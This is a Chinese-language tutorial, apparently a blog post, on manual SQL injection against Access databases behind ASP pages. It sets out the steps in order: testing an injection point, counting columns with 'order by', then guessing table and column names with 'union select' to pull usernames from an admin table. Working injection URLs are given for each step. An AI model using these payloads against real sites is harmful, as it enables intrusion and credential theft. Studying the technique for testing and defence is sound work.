我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
一、Access 数据库相关概念
1、Access 数据库特点:特有/共有
(1)特有特点:无库
access数据库与其他数据库不一样,他没有存储表的库,所以只能猜表。
(2)共有特点:
- order by子句排序特点:order by N+ 表示以表的第几个字段进行排序,其中N+为正整数集合
order by 2的意思是:以表的第二个字段进行排序 order by 0的意思是:以表的第0个字段进行排序(排序是从1开始进行的)
- 联合查询语句特点:联合的表必须要跟被联合的表字段个数一致
- select查询语句特点: select 字段名 from 表名;
若查询的字段在表中不存在,报错:
若查询的字段在表中存在,正常显示:
2、Access 数据库结构:表->字段/列->行数据/记录
(1)查询找表中的行记录/数据的步骤:表—>字段—>数据
二、Access+Asp 手工注入
1、Access 数据库注入步骤:6步
<li class="task-list-item"> 判断是否存在注入点
<li class="task-list-item"> 判断当前表的字段数
<li class="task-list-item"> 判断回显位置
<li class="task-list-item"> 爆表名
<li class="task-list-item"> 爆字段名
<li class="task-list-item"> 爆数据
2、Access 数据库注入示例:
(1)判断是否存在注入:利用逻辑and/逻辑or语句
逻辑 and 语句判断姿势:
http://127.0.0.1:99/ProductShow.asp?ID=104 and 1=1 # 正确页面
http://127.0.0.1:99/ProductShow.asp?ID=104 and 1=2 # 错误页面
逻辑 or 语句判断姿势:
http://127.0.0.1:99/ProductShow.asp?ID=104 or 1=2 # 正常页面
http://127.0.0.1:99/ProductShow.asp?ID=-104 or 1=2 # 错误页面
(2)判断当前表的字段数:二分法order by 排序 # 判断的是后台正在查询的表的字段数,也就是列个数
二分法oder by子句排序姿势:经判断当前表有26个字段,也就是26列
http://127.0.0.1:99/ProductShow.asp?id=104 order by 50 # 错误页面
http://127.0.0.1:99/ProductShow.asp?id=104 order by 25 # 正常页面
http://127.0.0.1:99/ProductShow.asp?id=104 order by 38 # 错误页面
http://127.0.0.1:99/ProductShow.asp?id=104 order by 31 # 错误页面
http://127.0.0.1:99/ProductShow.asp?id=104 order by 28 # 错误页面
(3)爆表名:联合查询
第一步:联合查询表名
若联合查询的表不存在,则会报错
http://127.0.0.1:99/ProductShow.asp
?id=104 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from test
第二步:联合查询表名,同时测试查询回显位置
联合查询的表若存在,则正常显示回显位
http://127.0.0.1:99/ProductShow.asp
?id=104 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
(4)爆字段名:在回显了数字上的位置替成换要猜的字段
http://www.exploit.cool:99/ProductShow.asp
?id=104 union select 1,username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin
若联合查询的admin表存在username字段,则正常显示在回显位置上,否则会报错!!!
(5)爆数据:上一步的同时查询出了数据